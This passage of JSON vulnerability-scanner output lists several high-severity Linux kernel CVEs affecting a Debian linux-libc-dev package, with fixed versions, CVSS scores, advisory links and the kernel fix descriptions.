"https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2501252", "https://bugzilla.redhat.com/show_bug.cgi?id=2502394", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://bugzilla.redhat.com/show_bug.cgi?id=2516731", "https://bugzilla.redhat.com/show_bug.cgi?id=2517046", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43493", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46330", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72129", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74480", "https://errata.almalinux.org/9/ALSA-2026-66180.html", "https://errata.rockylinux.org/RLSA-2026:66180", "https://git.kernel.org/linus/f96e1cdcb63ed3321142ff2fcdf784e32cda8fee%20%287.2-rc1%29", "https://git.kernel.org/stable/c/037511726228aaf165c7067ff2bfc88eaecdf1f3", "https://git.kernel.org/stable/c/0aa97edf7c347c0f54e7e60c4740574b8120c66a", "https://git.kernel.org/stable/c/b18ed621dbfceecea5539848cddcb9272c9a61e1", "https://git.kernel.org/stable/c/d15d83125007f673aec4323e1bbbaaffbe87ea13", "https://git.kernel.org/stable/c/f96e1cdcb63ed3321142ff2fcdf784e32cda8fee", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-b7mfk31aukkg.toml", "https://linux.oracle.com/cve/CVE-2026-64597.html", "https://linux.oracle.com/errata/ELSA-2026-66180-0.html", "https://lore.kernel.org/linux-cve-announce/2026080652-CVE-2026-64597-760b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64597", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64597" ], "PublishedDate": "2026-08-06T08:16:35.34Z", "LastModifiedDate": "2026-10-19T21:17:48.963Z" }, { "VulnerabilityID": "CVE-2026-64600", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64600", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3ec935473f281d301e4464127552ab8c18d06ba546324b59b105690938a67428", "Title": "kernel: XFS data corruption using reflink", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfs: resample the data fork mapping after cycling ILOCK\n\nxfs_reflink_fill_{cow_hole,delalloc} are both presented with an inode,\na data fork mapping, and a cow fork mapping. Unfortunately, these two\nhelpers cycle the ILOCK to grab a transaction, which means that the\nmappings are stale as soon as we reacquire the ILOCK. Currently we\nrefresh the cow fork mapping by re-calling xfs_find_trim_cow_extent, but\nwe don't refresh the data fork mapping beforehand, which means that the\nxfs_bmap_trim_cow in that function queries the refcount btree about the\nwrong physical blocks and returns an inaccurate value in *shared.\n\nIf *shared is now false, the directio write proceeds with a stale data\nfork mapping. Fix this by querying the data fork mapping if the\nsequence counter changes across the ILOCK cycle.", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64600", "http://www.openwall.com/lists/oss-security/2026/07/22/14", "http://www.openwall.com/lists/oss-security/2026/07/22/18", "http://www.openwall.com/lists/oss-security/2026/07/22/19", "http://www.openwall.com/lists/oss-security/2026/07/31/3", "http://www.openwall.com/lists/oss-security/2026/08/03/4", "http://www.openwall.com/lists/oss-security/2026/08/03/8", "https://access.redhat.com/errata/RHSA-2026:39179", "https://access.redhat.com/errata/RHSA-2026:39180", "https://access.redhat.com/security/cve/CVE-2026-64600", "https://bugzilla.redhat.com/2481989", "https://bugzilla.redhat.com/2482523", "https://bugzilla.redhat.com/2498915", "https://bugzilla.redhat.com/show_bug.cgi?id=2481989", "https://bugzilla.redhat.com/show_bug.cgi?id=2482523", "https://bugzilla.redhat.com/show_bug.cgi?id=2498915", "https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64600", "https://errata.almalinux.org/8/ALSA-2026-39180.html", "https://errata.rockylinux.org/RLSA-2026:39179", "https://git.kernel.org/linus/2f4acd0fcd862e22eab45690ec2c08c80b6ef2e7%20%287.2-rc4%29", "https://git.kernel.org/stable/c/206c09b04dc5469c7ff14d8aceff2d47c88078d9", "https://git.kernel.org/stable/c/2f4acd0fcd862e22eab45690ec2c08c80b6ef2e7", "https://git.kernel.org/stable/c/44f891bc088958399eec27f7604928694aa35581", "https://git.kernel.org/stable/c/50f0012da1040f69a4e788cd9aed587c9a04983f", "https://git.kernel.org/stable/c/b8c9aa832b52680ee40d6cab0efb081f9a69df05", "https://git.kernel.org/stable/c/dc11be133efca5fe3a2fb02b016dee825cc12f18", "https://git.kernel.org/stable/c/e705d81a7193dd19e69b8e2bad4696d78a4ea075", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/7.2.1/BRSA-zzvlpghhumzm.toml", "https://linux.oracle.com/cve/CVE-2026-64600.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-64600", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64600", "https://www.openwall.com/lists/oss-security/2026/07/22/14" ], "PublishedDate": "2026-07-23T06:16:50.493Z", "LastModifiedDate": "2026-10-19T21:17:49.5Z" }, { "VulnerabilityID": "CVE-2026-68108", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68108", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3404d2926853a35ed056db635012ec0cd1d020cfae4ba162778177704cf6f277", "Title": "kernel: drm/amdgpu/vce: fix integer overflow in image size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu/vce: fix integer overflow in image size\n\nFix a security vulnerability where malicious VCE command streams\nwith oversized dimensions (e.g. 65536×65536) cause 32-bit integer\noverflow, wrapping the calculated buffer size to 0. This bypasses\nvalidation and allows GPU firmware to perform out-of-bound memory\naccess.\n\nThe fix uses 64-bit arithmetic to detect overflow and rejects\ninvalid dimensions before they reach the hardware.\n\nV2: remove redundant check\nV3: modify max height value\nV4: remove size64\n\n(cherry picked from commit cbe408dba581755ad1279a487ec786d8927d778d)", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71700", "https://access.redhat.com/security/cve/CVE-2026-68108", "https://bugzilla.redhat.com/2419883", "https://bugzilla.redhat.com/2461575", "https://bugzilla.redhat.com/2482533", "https://bugzilla.redhat.com/2482543", "https://bugzilla.redhat.com/2482649", "https://bugzilla.redhat.com/2486470", "https://bugzilla.redhat.com/2492105", "https://bugzilla.redhat.com/2492798", "https://bugzilla.redhat.com/2493739", "https://bugzilla.redhat.com/2502536", "https://bugzilla.redhat.com/2513233", "https://bugzilla.redhat.com/2513361", "https://bugzilla.redhat.com/2513372", "https://bugzilla.redhat.com/2513414", "https://bugzilla.redhat.com/2513429", "https://bugzilla.redhat.com/2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2419883", "https://bugzilla.redhat.com/show_bug.cgi?id=2461575", "https://bugzilla.redhat.com/show_bug.cgi?id=2482533", "https://bugzilla.redhat.com/show_bug.cgi?id=2482543", "https://bugzilla.redhat.com/show_bug.cgi?id=2482649", "https://bugzilla.redhat.com/show_bug.cgi?id=2486470", "https://bugzilla.redhat.com/show_bug.cgi?id=2492105", "https://bugzilla.redhat.com/show_bug.cgi?id=2492798", "https://bugzilla.redhat.com/show_bug.cgi?id=2493739", "https://bugzilla.redhat.com/show_bug.cgi?id=2502536", "https://bugzilla.redhat.com/show_bug.cgi?id=2513233", "https://bugzilla.redhat.com/show_bug.cgi?id=2513361", "https://bugzilla.redhat.com/show_bug.cgi?id=2513372", "https://bugzilla.redhat.com/show_bug.cgi?id=2513414", "https://bugzilla.redhat.com/show_bug.cgi?id=2513429", "https://bugzilla.redhat.com/show_bug.cgi?id=2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2525436", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40323", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31539", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46199", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46311", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52912", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53203", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53290", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64098", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68108", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68121", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68273", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80714", "https://errata.almalinux.org/9/ALSA-2026-71700.html", "https://errata.rockylinux.org/RLSA-2026:71700", "https://git.kernel.org/stable/c/00c311a13d225266800c712f2b7db2711c6897de", "https://git.kernel.org/stable/c/186bfdc4e26d019b2e7570cb121964a1d89b2e5b", "https://git.kernel.org/stable/c/7eebef042c12dfe0568593ee6a8926d16505925e", "https://git.kernel.org/stable/c/893db20383800cfe92e638705984eebb13bc81a5", "https://git.kernel.org/stable/c/a07430abd556de3707adfcadcc60db3fa64e4b2b", "https://git.kernel.org/stable/c/a6d7065b91a14790980ce6f4960db0ca8c3c9940", "https://linux.oracle.com/cve/CVE-2026-68108.html", "https://linux.oracle.com/errata/ELSA-2026-82807.html", "https://lore.kernel.org/linux-cve-announce/2026081053-CVE-2026-68108-4308@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68108", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68108" ], "PublishedDate": "2026-08-10T13:19:55.6Z", "LastModifiedDate": "2026-10-19T21:17:51.513Z" }, { "VulnerabilityID": "CVE-2026-68121", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68121", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0ff5f0096d23f1c8fafac9e27e1a703fe323027fc6e7e8297aa856a7339fa0c4", "Title": "kernel: pppoe: reload header pointer after dev_hard_header()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npppoe: reload header pointer after dev_hard_header()\n\npppoe_sendmsg() saves a pointer to the PPPoE header before calling\ndev_hard_header(). Device header callbacks are allowed to reallocate the\nskb head, invalidating pointers into it.\n\nThis can happen when a send is blocked in copy_from_user() while the first\nnon-Ethernet port is added to an empty team device. The team's delegated\nGRE header callback then expands the skb head. PPPoE subsequently writes\nsix bytes through the stale pointer into the freed head.\n\nReload the PPPoE header through the skb's network-header offset after\ndevice header creation. pskb_expand_head() updates that offset when it\nrelocates the head.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71700", "https://access.redhat.com/security/cve/CVE-2026-68121", "https://bugzilla.redhat.com/2419883", "https://bugzilla.redhat.com/2461575", "https://bugzilla.redhat.com/2482533", "https://bugzilla.redhat.com/2482543", "https://bugzilla.redhat.com/2482649", "https://bugzilla.redhat.com/2486470", "https://bugzilla.redhat.com/2492105", "https://bugzilla.redhat.com/2492798", "https://bugzilla.redhat.com/2493739", "https://bugzilla.redhat.com/2502536", "https://bugzilla.redhat.com/2513233", "https://bugzilla.redhat.com/2513361", "https://bugzilla.redhat.com/2513372", "https://bugzilla.redhat.com/2513414", "https://bugzilla.redhat.com/2513429", "https://bugzilla.redhat.com/2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2419883", "https://bugzilla.redhat.com/show_bug.cgi?id=2461575", "https://bugzilla.redhat.com/show_bug.cgi?id=2482533", "https://bugzilla.redhat.com/show_bug.cgi?id=2482543", "https://bugzilla.redhat.com/show_bug.cgi?id=2482649", "https://bugzilla.redhat.com/show_bug.cgi?id=2486470", "https://bugzilla.redhat.com/show_bug.cgi?id=2492105", "https://bugzilla.redhat.com/show_bug.cgi?id=2492798", "https://bugzilla.redhat.com/show_bug.cgi?id=2493739", "https://bugzilla.redhat.com/show_bug.cgi?id=2502536", "https://bugzilla.redhat.com/show_bug.cgi?id=2513233", "https://bugzilla.redhat.com/show_bug.cgi?id=2513361", "https://bugzilla.redhat.com/show_bug.cgi?id=2513372", "https://bugzilla.redhat.com/show_bug.cgi?id=2513414", "https://bugzilla.redhat.com/show_bug.cgi?id=2513429", "https://bugzilla.redhat.com/show_bug.cgi?id=2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2525436", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40323", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31539", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46199", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46311", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52912", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53203", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53290", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64098", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68108", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68121", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68273", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80714", "https://errata.almalinux.org/9/ALSA-2026-71700.html", "https://errata.rockylinux.org/RLSA-2026:71700", "https://git.kernel.org/stable/c/6866abf59976d273164a6624234d96a967280223", "https://git.kernel.org/stable/c/6eed5ae7887a93160803d2b81ff88e75eefd4a4c", "https://git.kernel.org/stable/c/7a56e7c9b08e08fd55a1bcada24cf4fe3782b722", "https://git.kernel.org/stable/c/7e9fbd7f96bcde63a7c798fe16b38cedee7a1501", "https://git.kernel.org/stable/c/ba3409369c5413cdf0dcbf3a928f76b48e8c3e6a", "https://git.kernel.org/stable/c/bed4caecd723693f750e13adbb2c42ca1249a3fd", "https://git.kernel.org/stable/c/e6493a4d1ee17595766165fa446d45b7e0c318d0", "https://git.kernel.org/stable/c/e9c238f6fe42fb1b4dba3a578277de32cb487937", "https://linux.oracle.com/cve/CVE-2026-68121.html", "https://linux.oracle.com/errata/ELSA-2026-71700.html", "https://lore.kernel.org/linux-cve-announce/2026081056-CVE-2026-68121-b20f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68121", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68121" ], "PublishedDate": "2026-08-10T13:19:57.2Z", "LastModifiedDate": "2026-10-19T21:17:52.113Z" }, { "VulnerabilityID": "CVE-2026-68123", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68123", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6866e4544512ed523e5a3b515da7cfbc65b54f3f0a10aa4862fb7ce12eabf4be", "Title": "kernel: openvswitch: fix GSO userspace truncation underflow", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nopenvswitch: fix GSO userspace truncation underflow\n\nOVS_ACTION_ATTR_TRUNC currently stores a delta from the original skb\nlength in OVS_CB(skb)-\u003ecutlen. When a later userspace action segments a\nGSO skb, queue_gso_packets() reuses that delta for each smaller segment.\nA segment can then reach queue_userspace_packet() with cutlen greater\nthan skb-\u003elen, underflowing the length passed to skb_zerocopy().\n\nStore the maximum preserved length instead and bound each consumer\nagainst the current skb length. Use U32_MAX as the no-truncation\nsentinel so the value remains valid if skb geometry changes before a\nconsumer handles it.", "Severity": "HIGH", "CweIDs": [ "CWE-191" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81552", "https://access.redhat.com/security/cve/CVE-2026-68123", "https://bugzilla.redhat.com/2486468", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513148", "https://bugzilla.redhat.com/2513287", "https://bugzilla.redhat.com/2513430", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2528788", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/2535309", "https://bugzilla.redhat.com/2535338", "https://bugzilla.redhat.com/show_bug.cgi?id=2486468", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513148", "https://bugzilla.redhat.com/show_bug.cgi?id=2513287", "https://bugzilla.redhat.com/show_bug.cgi?id=2513430", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2528788", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2535309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535338", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46309", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68245", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68278", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/9/ALSA-2026-81552.html", "https://errata.rockylinux.org/RLSA-2026:81552", "https://git.kernel.org/stable/c/100a23b1613e9218e0af654ef102352c713f0263", "https://git.kernel.org/stable/c/2623c48cc3a8da9a1886fd8f65c0e348f4406fd6", "https://git.kernel.org/stable/c/4032f8ed10fcb84d41c508dfb04be96589f78dfe", "https://git.kernel.org/stable/c/50a6a85f3d6b1d22d8436848606cdef5d2c490b4", "https://git.kernel.org/stable/c/a16eaaf7c0b0ccdef6166707d90ffbc6eebf6855", "https://git.kernel.org/stable/c/e211b081901ffca76674082c73eeaed53524c369", "https://git.kernel.org/stable/c/ea85dbcbe8d4056ecb54352f97743d138ea4c407", "https://git.kernel.org/stable/c/fbfa3ad2ad6f3a5624aba5211c46290fb98cc9dc", "https://linux.oracle.com/cve/CVE-2026-68123.html", "https://linux.oracle.com/errata/ELSA-2026-81552.html", "https://lore.kernel.org/linux-cve-announce/2026081056-CVE-2026-68123-49d8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68123", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68123" ], "PublishedDate": "2026-08-10T13:19:57.427Z", "LastModifiedDate": "2026-10-19T21:17:52.287Z" }, { "VulnerabilityID": "CVE-2026-68136", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68136", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3a0730050dd144831de43e49c0adecacc689828a57d17412ce795cd3465cf23a", "Title": "kernel: net: gro: fix double aggregation of flush-marked skbs", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: gro: fix double aggregation of flush-marked skbs\n\nCommit 0ab03f353d36 (\"net-gro: Fix GRO flush 